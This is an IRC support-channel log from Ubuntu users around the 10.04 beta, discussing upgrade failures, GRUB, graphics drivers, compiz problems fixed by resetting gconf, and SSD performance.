[00:00] <bjsnider> what is melt?
[00:00] <CarlFK> melt = command line video encoding, uses ffmpeg libs
[00:01] <bjsnider> where is the ppa?
[00:02] <CarlFK> https://edge.launchpad.net/~sunab/+archive/sunab2
[00:04] <bjsnider> CarlFK, have you got /usr/lib/libavcodec.so.52?
[00:05] <CarlFK> bjsnider: yes  /usr/lib/libavcodec.so.52 -> libavcodec.so.52.20.0
[00:06] <bjsnider> well, that ppa has no lucid packages, so i'm guessing that's the reason for the error
[00:07] <CarlFK> the segfault is on jaunty.  I am having trouble building on lucid.
[00:07] <CarlFK> well, it builds on lucid, but doesn't run
[00:08] <bjsnider> have you been in contact with the ppa owner?
[00:09] <CarlFK> posted to the mlt-dev list, it needs moderator approval, so sent directly to the ppa owner, have not heard back
[00:09] <CarlFK> the error on lucid: [consumer avformat] audio codec libfaac unrecognised - ignoring; [libx264 @ 0xfdf340]broken ffmpeg default settings detected;
[00:10] <bjsnider> you'd need an ffmpeg build with libfaac
[00:11] <bjsnider> his ffmpeg changelog for karmic says "re-enable libfaac support"
[00:11] <CarlFK> heh
[00:11] <CarlFK> so it should be enabled in lucid, right?
[00:13] <red> hmph
[00:13] <awc> i reinstalled windows on my machine after using my live CD to fix the mbr I no longer see the grub screen, all I get is a message stating that i can use the tab key to search for commands and then: grub>         I'm running 10.04, but had to use the 9.04 live CD
[00:13] <red> okay so, I have chmodded my home dir (without -R) to 750
[00:13] <bjsnider> CarlFK, wrong
[00:13] <red> now other users cannot access it, and thats the way I want it
[00:13] <red> but I have my public_html folder there, and now apache2 tells me i dont have a permission to access it
[00:13] <red> how should I modify priviledges for it to work?
[00:14] <red> drwxrwxrwx  5 red  red       4096 2010-04-17 18:24 public_html
[00:14] <red> i tried setting it that way but still nothign
[00:14] <CarlFK> bjsnider: ah, missed the "his" - I get it
[00:15] <red> or is there even a way to do that?
[00:15] <red> thinking I might just create a user called shared and move the folder there perhaps?
[00:16] <CarlFK> red: guessing you should ask #apache or #httpd
[00:18] <awc> since my problem is grub related, and not so much ubuntu is there an IRC chan or server that would be better geared towards my problem?
[00:18] <awc> towards grub problems**
[00:19] <Ken8521> #grub  ?
[00:19] <awc> ty
[00:34] <red> hmm, when I plug in my USB Hard drive, it gets automatically mounted for my user name and grp
[00:34] <red> and I cannot change them even with sudo
[00:37] <Joeseph64> So I was upgrading to Lucid from Karmic, when my mouse (and keyboard) stops responding.  However, my system monitor is still running, so my PC is responding.  It's currently asking a question I cannot respond to.  I think I can still ssh into the computer.  How should I proceed to do the least damage to my system?
[00:39] <penguin42> Joeseph64: Try ssh'ing in, it won't do any harm
[00:40] <penguin42> Joeseph64: What's the question it's asking and do you know how far it got?
[00:42] <Walzmyn> Joeseph64: I had mine lock up too. I just rebooted. Had to use the recovery thing and go to terminal and finish upgrading via Apt-get
[00:43] <penguin42> If possible it's best to hit reset though at that point, it's probably easier to fix it if you can ssh in
[00:43] <blacksunseven> Having trouble Giving SFTP users read access to some other directory (more info about my problem here http://ubuntuforums.org/showpost.php?p=9133075&postcount=10)
[00:46] <h00k> So, a Dell Latitude with an ATI Radeon X1250 will not boot, I'm forgetting some useful options I can pass to grub, does anyone else have hints?
[00:46] <Joeseph64> I can ssh into it.   It's asking if I want to keep a configuration file or use the new one....  What should I do after I'm sshed into it?
[00:47] <matumba> XID collision, trouble ahead - man i must be lucky... over 18,000 collisions and still no trouble :D
[00:47] <Walzmyn> Joeseph64: which configuration file?
[00:49] <penguin42> h00k: Try radeon.modeset=0
[00:50] <h00k> penguin42: yeah, that might have been it.  Also, an issue with dbus was happening...I think, where it wouldn't run GDM, but let me try something.
[00:51] <penguin42> h00k: Sorry, not got the dbus hints
[00:51] <h00k> penguin42: alright
[00:52] <penguin42> h00k: If it didn't boot how did you get the dbus errors?
[00:53] <h00k> penguin42: standby, let me try something to better explain it
[00:58] <h00k> penguin42: so, on the liveUSB, would that go after the -- in the boot line?
[00:58] <penguin42> before
[00:59] <h00k> penguin42: alright, giving that a shot
[01:00] <h00k> penguin42: you got it, thank you. I'll have to add that to the grub config when I'm finished, yes?
[01:01] <penguin42> h00k: OK - can you add a comment to this bug please with details of your machine/card: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/560306
[01:01] <h00k> penguin42: yes, will do.  Thank you.
[01:02] <h00k> penguin42: I'm pretty sure I talked to you about this before, too :)
[01:03] <penguin42> you did? Heck I can never remember these things
[01:03] <h00k> penguin42: I don't know. perhaps
[01:04] <Joeseph64> Sorry for the extremely long delay... The config file is /etc/grub.d/debian_theme or something like that.  I can ssh in.  How should I proceed?
[01:04] <Joeseph64> Walzmyn: Meant to put your name at the end....
[01:05] <penguin42> Joeseph64: find out what is still running, try and kill off the thing giving you the prompt, and then each process in the update - try not to use kill -9
[01:05] <penguin42> Joeseph64: If you;re lucky you'll get to the point where you can do from the ssh an apt-get update && apt-get dist-upgrade to finish the upgrade off
[01:05] <Walzmyn> Joeseph64: emm, not sure what that one is. But default is to keep the one you have, usually.
[01:06] <Joeseph64> penguin42, Walzmyn: Alright.  So I should px -ax and kill off the things that sound like they're from the upgrade prompt?
[01:07] <penguin42> Joeseph64: That's what I'd do - but try and go gently - you want it to fail as neatly as possible
[01:08] <Joeseph64> penguin42: Do you just happen to know the  names of the process that would be running the upgrade?
[01:08] <penguin42> not the bit that does that bit
[01:09] <penguin42> pstree might help
[01:13] <myk_robinson> running beta 2 with all updates. When I plug headphones into my laptop, it does not disable the speaker output. Any ideas?
[01:14] <Joeseph64> penguin42: Currently running apt-get dist-upgrade...  Hope It's working right....  I backed up all my important files before I upgraded, so I should be okay
[01:14] <penguin42> cool
[01:18] <red> does crontab reset on apt-get safe-upgrade?
[01:32] <Joeseph64>  Well I feel like an idiot....I just updated my system that I'm on instead of the one I was going to ssh into......
[01:46] <LetsGo67> My laptop keeps overheating and it is frustrating me.  Can someone help please?
[01:52] <Ken8521> get a cooling pad?
[02:15] <Dantonic> hi, how unstable is the current 10.04 beta
[02:15] <Dantonic> ?
[02:15] <Dantonic> Any broken functionality?
[02:18] <JEEBsv> Dantonic: depends on your hardware etc. it seems. Only and only install it if you're not afraid of losing some data in the process (backup well frequently, have another way of booting the PC at all times and all those shenanigans :P) (It works fine for me on my eeepc now).
[02:19] <Dantonic> I see thank you.  I'm mainly concerned with functionality issues/ bugs... I might give it a shot.
[02:22] <aim> I'm not sure if this is Lucid related or not, but... When I go places>Downloads, I get the error "Could not open location 'file:///home/hamish/Downloads' - No application is registered as handling this file" Cans omeone help?
[02:22] <SwedeMike> do you have a directory named Downloads in your home directory?
[02:23] <aim> yes.
[02:23] <aim> it does it with all the directories in 'places'
[02:24] <aim> The 'Computer' location and 'Network' location works, but nothing that uses the notation "file:///"
[02:24] <SwedeMike> oki, no idea, but that it does it for all the dirs is good information.
[02:25] <aim> I think it's something to do with 'No application is registered as handling this file'
[02:25] <DanaG> hmm, go in nautilus to somewhere, and right-click -- "properties".
[02:25] <DanaG> there should be an "open with" tab.
[02:25] <aim> Basically, how do I assign nautilus to open 'file:///'s
[02:25] <DanaG> Set it to open with "open folder".
[02:26] <DanaG> Right-click on a folder, that is.
[02:26] <aim> there is no 'open with' tab...
[02:27] <aim> The tabs are 'Basic, Emblems, Permissions, Notes, Share'
[02:28] <coc0nut> Don't go to properties
[02:28] <Volkodav> anybody runs SSD ?
[02:28] <coc0nut> when you right click it, go to "Open with other Application..."
[02:28] <aim> coc0nut, then where?
[02:28] <aim> oh ok.
[02:29] <coc0nut> Tired, so I'm typing slowly ;;
[02:29] <SwedeMike> Volkodav: there are lots of people using SSDs.
[02:29] <Volkodav> I wonder do they need any special tweaks for FS ?
[02:29] <aim> coc0nut, huh... that was such a simple solution, thank you very much! :))
[02:29] <Volkodav> http://brainstorm.ubuntu.com/idea/17652/!
[02:29] <aim> coc0nut, you've made me quite happy haha, cheers, that's been bugging me for some time now :P
[02:30] <SwedeMike> Volkodav: depends on the ssd, some will benefit from aligning the fs with the internal cell size and telling the fs about it.
[02:30] <Volkodav> benefit in terms of ?
[02:30] <Volkodav> speed
[02:31] <Volkodav> lifespan ?
[02:31] <MTughan> Speed, latency, lifespan, could be any combination of those.
[02:31] <SwedeMike> yes.
[02:31] <Volkodav> hmm
[02:31] <SwedeMike> it all depends on the internals of the ssd
[02:32] <SwedeMike> all ssd:s are not alike
[02:32] <Volkodav> like this ? http://www.newegg.com/Product/Product.aspx?Item=N82E16820139112
[02:34] <Volkodav> does hdparm works with them ?
[02:34] <SwedeMike> I recommend the intel x25 series
[02:34] <SwedeMike> Volkodav: what do you want to do with hdparm with an hssd?
[02:35] <SwedeMike> -h
[02:35] <Volkodav> it's write speeds are not that great
[02:35] <SwedeMike> in real life, the x25 is better, linear write speed isn't usually that important.
[02:35] <Volkodav> readahead and such
[02:35] <MTughan> I've been happy with my Kingston V+ series SSD over a traditional HDD.
[02:35] <Volkodav> not linear - sequential
[02:35] <SwedeMike> an ssd doesn't do readahead, the OS might, but the ssd doesnt
[02:36] <SwedeMike> Volkodav: what's the difference between linear and sequencial?
[02:36] <jakexks> Have SSDs got a decent mttf now?
[02:36] <MTughan> jakexks: You mean MTBF?
[02:36] <jakexks> probably
[02:36] <MTughan> Mean Time Between Failures
[02:37] <MTughan> (don't ask why they use between)
[02:37] <jakexks> yes, that
[02:37] <jakexks> anyway, will they last as long as a typical hard disk drive?
[02:37] <MTughan> jakexks: Depends on how much writing you do.
[02:37] <SwedeMike> ssd:s aredifferent beasts from hdd:s, different failure modes. Read the articles and the specs and see if it's a problem for you. Intel claims you can write to it 24/7/365 and it's not a problem.
[02:38] <MTughan> As I understand it, it's the write operations that break down the flash after a while.
[02:39] <SwedeMike> some drives expect you do not write more than a certain amount of data per day in order to keep the mtbf.
[02:39] <Volkodav> http://www.notebookcheck.net/SSD-versus-HDD-in-comparison.18750.0.html
[02:40] <SwedeMike> I've switched to SSDs for system drives in all my systems, windows and linux. I have ocz vertex and intel x25 drives, I prefer x25 all times of the day.
[02:42] <Volkodav> I looked at these - they are reported to be the fastest
[02:42] <xiambax> I just dist upgraded to 10.04 and fglrx failed to install.
[02:42] <Volkodav> http://www.foremay.net/pc166-ssd-solid-state-drive-flash-hard-drives.htm
[02:42] <xiambax> How can i fix this?
[02:42] <Volkodav> waiting for the quote from them
[02:44] <SwedeMike> ask about combined read/write performance, I know drives that read great, write great, but when you mix reading and writing performance goes down to below hdd levels.
[02:44] <SwedeMike> ocz solid is one of those drives, a cf card is the same
[02:44] <Volkodav> I will
[02:45] <DanaG> The best place to go for SSD hardware reviews: anandtech.com
[02:50] <Volkodav> /dev/sdb:
[02:50] <Volkodav>  Timing buffered disk reads:  356 MB in  3.00 seconds = 118.47 MB/sec
[02:50] <Volkodav> That's a 10 k WD
[02:50] <Volkodav> SwedeMike what's your output on Intel ?hdparm -t /dev/sdX ?
[02:55] <xiambax> I see a bunch of intel SSD in all the macbooks i work in
[02:56] <Volkodav> marketing
[02:56] <xiambax> ?
[02:57] <Volkodav> intel CPU + Intel ssd
[02:57] <Ken8521> i think ssd's are over-rated
[02:58] <Volkodav> I will see when it arrives
[02:58] <xiambax> for the price and performance im not sold on them yet
[02:58] <xiambax> If my harddrive failes i can run data rescue shit on it
[02:58] <xiambax> if my SSD fails.
[02:58] <xiambax> Im up #$@# creek
[02:58] <Volkodav> have to run my tests
[02:59] <Volkodav> I will OS on it only
[02:59] <xiambax> Yeah Im considering doing that too
[02:59] <xiambax> SSD for OS
[02:59] <Volkodav> right
[02:59] <Volkodav> all others for storage
[02:59] <xiambax> and Raid 1 for my data /home
[02:59] <xiambax> I get my Macbook i5 next week
[02:59] <xiambax> Im pretty stoked
[03:00] <xiambax> Disappointed they didnt go quad core though
[03:00] <Volkodav> I have previous version
[03:00] <Volkodav> no reaSON for dissapointment
[03:00] <xiambax> Well quadcore would be nicer
[03:00] <Volkodav> kernels don't know what to do with 4 cores anyway
[03:00] <xiambax> unless they just turned off two cores until an update is released
[03:00] <xiambax> well id run macosx on it :D
[03:01] <xiambax> put 8 gigs of ram
[03:01] <Volkodav> some dual cores outperform quads
[03:01] <xiambax> and then visualize
[03:01] <xiambax> True i guess
[03:01] <Volkodav> it you look at the usage core 3 and 4 are hardly used
[03:01] <xiambax> but a 27 inch i7 would out perform the i7 macbook
[03:01] <xiambax> hands down
[03:02] <xiambax> On another note.
[03:03] <xiambax> Im very happy the ubuntu community ditched the brown colour scheme
[03:06] <haz3lnut> compiz broken anybody?
[03:08] <haz3lnut> compiz and metacity fail to start.  no title bar on windows. have to manually start metacity.  compiz craps everything.
[03:08] <haz3lnut> this is all in beta 2
[03:09] <haz3lnut> sad thing is, I booted beta 1 from live cd and had no issues whatsoever!  So I said cool, I'll upgrade from the alternate cd to beta 2.  Ack!
[03:09] <TommyThaGun> is there a way to set up a certain app to ignore the Show Desktop button?
[03:11] <haz3lnut> so everyone else here running lucid without issues then?
[03:11] <haz3lnut> will step away for a minute, get a glass of wine, maybe have some response when I get back...
[03:13] <TommyThaGun> sorry haz3lnut, it seems to be working for me, but I'm not using a lot of compiz settings either
[03:13] <TommyThaGun> just some "basic" stuff
[03:13] <TommyThaGun> I don't even think cube is enabled
[03:15] <haz3lnut> issue is, metacity won't load on boot, so there is no title bar.  I have to manually type metacity --reload in terminal to start it up.  I try to enable effects but it makes invisible titlebar.  this is with default theme, and nvidia driver.
[03:15] <TommyThaGun> oh
[03:16] <Ken8521> hmm haz3lnut.. everything has worked fine for me... actually, it was a seamless transition on my laptop, w/ only samba causing a minor issue on my desktop
[03:18] <haz3lnut> I ran lucid in a vm for two weeks and it seemed rock stable.  Then I booted from the live cd and tested the nvidia driver an compiz, that all worked just fine. So then I decided it would be safe to upgrade my karmic to lucid from the alternate cd.  Now I have this issue.
[03:18] <Ken8521> hmm, i did clean installs, didn't upgrade.
[03:19] <haz3lnut> every time I do a clean install, it's weeks before I'm back to normal.
[03:19] <haz3lnut> has anyone else here done the "upgrade"?
[03:22] <TommyThaGun> is there a way to set up a certain app to ignore the Show Desktop button?
[03:23] <haz3lnut> TommyThaGun: what do you mean?
[03:24] <haz3lnut> That it won't hide when you click the show desktop?
[03:24] <chris4585> I think he means have an app always on the desktop
[03:25] <haz3lnut> probably better asked in the gnome channels
[03:25] <TommyThaGun> right
[03:25] <TommyThaGun> like Screenlets
[03:26] <chris4585> I checked and no, the option for Always on Desktop does not ignore show desktop
[03:26] <TommyThaGun> I like Screenlets, but I want for them to be sticky on my desktop... you would think they would have that option
[03:26] <TommyThaGun> yeah
[03:26] <Pelo> TommyThaGun, probably not wiith a desktop app, but if you tell us what the app is there might be a screenlet or a conky script that can do the same job
[03:27] <TommyThaGun> Pelo, specifically Screenlet
[03:27] <TommyThaGun> s
[03:27] <haz3lnut> TommyThaGun, the show desktop option is a gnome feature to clear everything.  if apps are allowed to ignore that, than what good would it be?
[03:27] <TommyThaGun> right, but maybe there is something that I want to consider as part of my desktop
[03:28] <TommyThaGun> :-)
[03:28] <Pelo> TommyThaGun, got a specific app in mind ?
[03:28] <haz3lnut> hmmm, a desktop icon then?
[03:28] <chris4585> Pelo, he said screenlets
[03:28] <Pelo> chris4585, he meant that behaved like a screenlet
[03:28] <TommyThaGun> the weather applet in Screenlets is one
[03:29] <chris4585> he did say specifically screenlets
[03:29] <haz3lnut> I got that.
[03:29] <TommyThaGun> no, I mean the program Screenlets
[03:29] <TommyThaGun> yeah
[03:29] <bjsnider> haz3lnut, try creating a new user account, call it test or something. log in to it and check if compiz is screwed up there
[03:29] <Pelo> screenlets do not get cleared when you use show desktop
[03:29] <TommyThaGun> they do for me
[03:29] <haz3lnut> thanks <bjsnider>, I'll try that.
[03:30] <Pelo> TommyThaGun, there is probably an option that needs to be tweaked in the screenlets manager itself then
[03:30] <TommyThaGun> I've looked everywhere for that option
[03:31] <blacksunseven> Having trouble Giving SFTP users read access to some other directory (more info about my problem here http://ubuntuforums.org/showpost.php?p=9133075&postcount=10)
[03:31] <Pelo> TommyThaGun, let me install and have a look
[03:31] <chris4585> TommyThaGun, this might help http://www.screenlets.org/index.php/FAQ#Why_do_my_screenlets_disappear_when_I_show_the_desktop.3F
[03:32] <TommyThaGun> I think I just found that exact page chris4585
[03:32] <TommyThaGun> thank you
[03:32] <chris4585> hope it resolves your issue
[03:32] <TommyThaGun> thank Pelo, I think this page may help me out, let me look at it and see where it leads me
[03:33] <haz3lnut> bjsnider, that worked in the alternate user account.  So then, you got any possible solutions why it doesn't work in mine?
[03:34] <bjsnider> haz3lnut, obviously it's a gconf problem
[03:35] <haz3lnut> And it's also a bug, because it worked beautifully in karmic and a simple upgrade broke compiz and metacity fallback upon lucid upgrade.
[03:36] <bjsnider> one possible solution is to remove your ~.gconf and ~.gconfd directories and log out/log in.
[03:36] <Tohuw> It used to be there was a button in nautilus for manually typing a location in. Where did that go?
[03:36] <bjsnider> rename them and then new ones will be created
[03:36] <bjsnider> haz3lnut, it's not a bug, no
[03:37] <haz3lnut> no?
[03:37] <haz3lnut> sure seems buggy.
[03:37] <bjsnider> your userland files contain some kind of deprecated information
[03:37] <haz3lnut> and it's bugging me.
[03:38] <Tohuw> haz3lnut: a bug that doesn't happen to other people is not a "bug".
[03:38] <haz3lnut> but I'm an expert user.  What if my dad upgrades and his system falls apart?  He'll call me squeeling about how he wants to go back to windows!
[03:39] <Tohuw> that doesn't change the fact that this doesn't happen to other people, even you under a different user.
[03:39] <bjsnider> haz3lnut, you're an expert user?
[03:39] <haz3lnut> bjsnider, did you install fresh or upgrade from karmic?
[03:39] <Tohuw> bjsnider: probably should sidestep that point.
[03:40] <bjsnider> haz3lnut, that's a complex issue. i installed into a freshly partitioned root, but /home was already there for years
[03:40] <haz3lnut> I'm a 20 year computer user on mulitple platforms and 4 years steady on linux.
[03:40] <haz3lnut> bjsnider, isn't you .gconf in /home/...
[03:41] <bjsnider> it is
[03:41] <Tohuw> haz3lnut: this is not a place where you build street cred. For every ounce of experience you have, someone here can "outdo" you. It's a place for support, not egowaving.
[03:41] <bjsnider> haz3lnut, the difference between me and you is that you'd still have some leftover karmic packages where i don't
[03:41] <haz3lnut> Tofu, uh Tohuw... he asked.
[03:42] <haz3lnut> you mean a bug.
[03:42] <Tohuw> haz3lnut: and I suggested he sidestep that discussion for a reason, regardless, this line of conversation is exhausted.
[03:43] <haz3lnut> because the upgrade is supposed to remove the old, deprecated packages and install new ones.  I'm not complaining, I'm stating a fact.
[03:43] <Tohuw> haz3lnut: no, because on a test system that upgraded from karmic to lucid, that bug did not happen to me.
[03:43] <Tohuw> So "something else" happened
[03:43] <bjsnider> haz3lnut, no, if the karmic package is not deliberately forced out by another package, whether through a conflict or a deprecation, it is left in
[03:44] <haz3lnut> Tohuw, sorry to wear you out, but I'm trying to solve a problem.
[03:44] <bjsnider> but that's not your problem in this case, it is broken userland files
[03:45] <haz3lnut> Bugs don't happen to everyone.  Bugs happen to some people.
[03:45] <bjsnider> this is definitely not a bug
[03:46] <Tohuw> haz3lnut: trying to solve a problem never wears me out. Ego exertion does. QED. Anyway, to steer back to the topic, your userland files clearly have a problem, like bjsnider said. So, you can: a) remove your ~/.gconf directory or b) analyze the contents of the settings files to narrow down the conflict. Everything about your problem pegs it to a broken configuration somewhere. Before you can usefully report a bug on it, the actual issue 
[03:46] <haz3lnut> bjsnider, I got that.  And I'll fix it in a moment, I'm just saying that if it happened to me, it can likely happen to many, MANY others.  and they might not be so easy to find a solution, they might spit on ubuntu and go back to windows.
[03:47] <bjsnider> haz3lnut, this kind of thing happens all the time
[03:47] <Ken8521> man, my internal mic finally works in ubuntu, but the volume is horribly muffled
[03:47] <bjsnider> it's specifically because th package manager is not supposed to touch userland files
[03:47] <Ken8521> but if i listen carefully, i can hear myself.
[03:48] <Tohuw> Ken8521: too quiet or too distorted?
[03:48] <haz3lnut> Tohuw, bjsnider, I know it happens all the time, and it's a bug in the upgrade process and should be addressed.  I'll fix my system and BRB
[03:48] <Tohuw> haz3lnut: again, you upgraded to a BETA of Ubuntu. This means strange things can happen. If you believe you have discovered a genuine bug, you'll need to find what actually caused it by taking a look at the userland files.
[03:48] <Tohuw> sigh
[03:48] <stal> is my radeon hd3600 preconfigured in 10.04 b2?
[03:48] <Tohuw> stal: define "preconfigured"
[03:49] <bjsnider> userland files are off the table. we can't touch them during an upgrade
[03:49] <stal> i.e. do I need to do anything to get it working
[03:49] <Ken8521> Tohuw, to quiet.
[03:49] <Ken8521> i can hear my voice, its just way way to quiet.
[03:49] <Ken8521> adjusted some volumes, etc.. got it a "little" louder, but not much
[03:49] <Ken8521> was hoping to use skype w/o an external mic
[03:52] <TommyThaGun> treat as widgit
[03:52] <TommyThaGun> + widgit layer
[03:52] <TommyThaGun> very interesting
[03:52] <Tohuw> Ken8521: model of laptop or monitor with internal mic?
[03:53] <amnite> any1 have any info on changing the boot and login screen on lucid beta 2?
[03:53] <Tohuw> stal: aside from installing the proprietary driver (which will be automatically upgraded if you're coming from an older version) probably not
[03:53] <Tohuw> amnite: what do you want to change?
[03:54] <amnite> background, images and just the way the login style looks
[03:54] <haz3lnut> Fixed it.
[03:55] <Tohuw> amnite: http://www.ubuntumini.com/2009/09/hack-karmics-gdm-login-screen.html will work for you
[03:56] <stal> gah
[03:56] <Ken8521> Tohuw, it an acer 5315-2153 and lspci shows..  00:1b.0 Audio device: Intel Corporation 82801H (ICH8 Family) HD Audio Controller (rev 03)
[03:56] <haz3lnut> Although, metacity failed to load as fallback, I was able to load compiz effects...actually, I didn't reboot after that to see if compiz loaded by default.
[03:56] <stal> iI hate the fglrx driver
[03:56] <amnite> thx
[03:56] <Ken8521> strange thing is.. if I do something that is really "loud"  like yell, or cough really hard, it plays the sound back at perfect volume(test call)
[03:56] <stal> how do I know if a display driver is in use?
[03:58] <haz3lnut> Thanks, bjsnider, for your help and input. No thanks to Tohuw for his pias, derogatory comments.
[03:58] <Tohuw> Ken8521: <3 for anticipating the possible need to see your lspci. To answer your question, take a look at https://help.ubuntu.com/community/HdaIntelSoundHowto and see if the suggestions there for fixing the mic work.
[03:59] <Tohuw> haz3lnut: "pious" and I didn't degrade anyone. Try to be easier to work with and back the ego off a little, and your future support experiences will doubtless go better. :)
[04:00] <Ken8521> i can pastebin my whole lspci for you, but i'll take a look at that.. http://pastebin.com/J9WeC8iG
[04:00] <Tohuw> stal: lspci | grep -i vga
[04:01] <Tohuw> stal: sorry, didn't read your question properly!
[04:01] <Tohuw> try looking through your xorg logs
[04:01] <stal> i'll post the outout anyway
[04:01] <stal> 01:00.0 VGA compatible controller: ATI Technologies Inc Mobility Radeon HD 3600 Series
[04:01] <Tohuw> that will just tell oyu your video card
[04:01] <Tohuw> right
[04:01] <Ken8521> Tohuw, i wonder how much of that is relevant to Lucid.. i don't wanna screw up what has been a fairly stable syhstem.
[04:02] <Tohuw> Ken8521: backup the associated files and try it?
[04:02] <haz3lnut> Sorry tohuw meant to say pissass, but pious works too :-)  No, just kidding.  Look everyone has an ego. The "expert" claim that you took offense to, was in context of thinking about other lesser experienced people who may not be able to tolerate a broken system on a simple upgrade.  That's all.
[04:02] <stal> where are my xorg logs anyway?
[04:02] <Ken8521> i guess i could.
[04:03] <Tohuw> you are likely using fglrx if it's installed, but check /var/log for your xorg logs and see what they say. Xorg.0.log is probably one of them, but it makes several according to a configurable logging policy
[04:04] <Tohuw> You can also use Gnome's log viewer under System --> Administration
[04:04] <Tohuw> but it's good to know where things are :)
[04:04] <stal> (II) LoadModule: "radeon"
[04:04] <stal> but soon after...
[04:04] <stal> (II) LoadModule: "vesa"
[04:04] <Tohuw> Speaking of where things are, how do you temporarily bypass the location bar buttons and straight type in a location? There used to be a little button for that
[04:05] <Tohuw> stal: that's just modules being loaded; not what you're after
[04:05] <Tohuw> You can also just check jockey and see if fglrx is set as "Active" (System --> Administration --> Hardware Drivers)
[04:06] <Tohuw> For the record, unless you've done something odd, you're using radeon or fglrx. If compiz is working, you're definitely using fglrx
[04:06] <Tohuw> (nearly definitely)
[04:06] <stal> fglrx isn't activated
[04:06] <stal> because it sucks
[04:06] <Tohuw> fair enough :)
[04:07] <stal> but i hear vesa can only do certain resolutions?
[04:08] <bjsnider> stal, ok, fglrx sucks. granted. which ati graphics driver for this platform _doesn"t_ suck?
[04:08] <Tohuw> Yes, if you're using a resolution over 800x600, you're likely using radeon
[04:08] <Tohuw> s/this platform/any platform
[04:08] <Tohuw> FTFY
[04:08] <bjsnider> they all have tremendous sucking potential
[04:09] <xiambax> Has anyone seen the new songbird?
[04:09] <stal> alright, so i'm using radeon
[04:09] <haz3lnut> stal, fglrx used to work for me until 9.04.  Then I did a complete system upgrade and switched to nvidia card.  maybe still not fully supported, but better IMO.
[04:09] <xiambax> running on 10.04?
[04:09] <xiambax> It blends really nice
[04:09] <stal> i had fglrx running smoothly on my 32bit install about 3 hours ago
[04:10] <bjsnider> "fglrx used to work for me" -- words never before uttered by man.
[04:10] <xiambax> I cant get fglrx running on AMD64 either
[04:10] <stal> though i wasted a week getting it up
[04:10] <haz3lnut> hahah.
[04:10] <xiambax> meh
[04:10] <xiambax> I wonder how linux is going to play nice with my new macbook pro which switches audio
[04:10] <stal> on to my next question
[04:10] <xiambax> i mean video
[04:10] <xiambax> is probably OS integrated so i can just choose which videocard to use
[04:11] <stal> my window decorations are flashing as i resize
[04:11] <DanaG> xiambax: probably depends whether you boot in UEFI boot mode, or through Boot Camp (bios-emulation).
[04:11] <DanaG> UEFI boot mode means you use grub-efi.
[04:11] <Tohuw> stal: FWIW, flgrx was a complete wreck for me until about a week ago, when patches were released.
[04:12] <xiambax> DanaG, Has anyone had any experience with one yet?
[04:12]  * Tohuw waves to DanaG
[04:12] <DanaG> http://www.uluga.ubuntuforums.org/showthread.php?t=995704
[04:12] <bjsnider> Tohuw, now it's only 95% a wreck
[04:12] <Tohuw> bjsnider: sounds like a bargain to me
[04:12] <DanaG> I wish that damn "don't do stupid readback from video RAM" patch would go into upstream xorg.
[04:13] <stal> Tohuw: the way I got mine to work was by getting the driver from amd.com
[04:15] <DanaG1> D: memblock.c: Pool full
[04:20] <Tohuw> DanaG1: "that shouldn't happen"
[04:20] <SwedeMike> Volkodav: I get 155 MB/sec with hdparm -t on my x25-m 80gig drive
[04:21] <SwedeMike> Volkodav: but as I said before, it's the random access speed that is the interesting point, not sequencial ones.
[04:21] <SwedeMike> I dont use ssd:s for bulk storage, I use it for random read and writes, and the x25 drives excel at that
[04:23] <DanaG1> ugh, it's being all crackly-sputtery.
[04:24] <Volkodav> I am planning for OS only
[04:24] <DanaG1> hmm, have you compared the Intel ones to the OCZ ones?
[04:24] <Volkodav> and maybe some storage that needs fast access like HD video
[04:24] <DanaG1> I've seen benchmarks that show the OCZ ones using less power than the Intel ones.
[04:24] <SwedeMike> DanaG1: yes, I have both ocz vertex and x25 drives, and I'm not buying more vertex drives, they're worse as system drives in my experience.
[04:25] <DanaG1> hmm.  How so?
[04:25] <SwedeMike> they just are.
[04:25] <SwedeMike> I dont have any figures.
[04:25] <DanaG> But I mean, programs load less quickly, or such?
[04:25] <SwedeMike> most likely a read/write random IOPS figure tha tis worse.
[04:25] <SwedeMike> as soon as they go under random read/write load they perform worse.
[04:27] <DanaG> hmm.
[04:27] <DanaG> Too bad ALL ssds are godawful expensive.
[04:27] <SwedeMike> the ocz vertex drives aren't bad, but considering the price etc, I'm just buying x25 drives in the future until something significantly better comes along. the x25 drives are workhorses, they fperform consistently.
[04:28] <DanaG> http://anandtech.com/show/3656/corsairs-force-ssd-reviewed-sf1200-is-very-good/2
[04:28] <DanaG> power usage benchmark.
[04:30] <DanaG> http://eshop.macsales.com/item/Seagate/ST9250421AS/
[04:30] <DanaG> Intel one uses more power than my HDD claims to use.
[04:30] <SwedeMike> http://anandtech.com/show/3656/corsairs-force-ssd-reviewed-sf1200-is-very-good/4
[04:30] <SwedeMike> too bad they dont mix read and writes
[04:31] <SwedeMike> as you ca nsee the sandforce controller needs alignment etc to perform well, the intel drive always performs well.
[04:32] <SwedeMike> and that is why I recommend it, for a plug and play drive that performs well all the time (perhaps not stellar), choose the x25
[04:33] <SwedeMike> in a few months when the sandforce drives are out in volume and all the bugs are worked out, they might be a better buy, I don't know.
[04:36] <Volkodav> does capacity improve anything ?
[04:36] <SwedeMike> Volkodav: please elaborate.
[04:38] <Volkodav> well similar drives of 64 and 512 capacity
[04:38] <SwedeMike> I understood the word capacity.
[04:39] <Volkodav> will 512 be faster or better on any gived benchmark ?
[04:41] <SwedeMike> Volkodav: a little, yes. the 160 gig x25 drives perform slightly better in tests
[04:42] <Volkodav> So it is not different from regular drives
[04:42] <SwedeMike> depends on the design.
[04:43] <SwedeMike> the x25 drives are capped at 80 megs/s write perofrmance to avoid stalls, that's why it's so consistent.
[04:43] <Volkodav> reason I went with Kingston they use Toshiba controllers who actually invented NANd flash
[04:43] <haz3lnut> bjsnider, I rebooted and compiz does not load again on startup.  I had to manually turn on System/Appearance/Visual Effects to get a titlebar.  This was after having removed .gconf and  .gconfd for them to be rebuilt.  the only difference now is that i can enable visual effects whereas before I could not.
[04:44] <haz3lnut> Any ideas?
[04:44] <Volkodav> they have the experience to not only make the controller, but also the flash that runs seamlessly with it
[04:44] <Volkodav> will see how it performs
[04:48] <stal> haz3lnut: check your window decorations plugin in ccsm
[04:48] <stal> make sure it isn't blank
[04:50] <haz3lnut> stal, Enable Window Decorations is checked.  is that what you mean?
[04:50] <DanaG> Argh, I  hate how evince skips to the next page, even when windowed, when I try to skip tracks in my music player.
[04:50] <DanaG> I can understand doing that if evince is fullscreen... but not if it's windowed!
[04:50] <stal> haz3lnut: nope, click into it and check the Command field
[04:51] <DanaG> And it GOES fullscreen when you try to play/pause music!
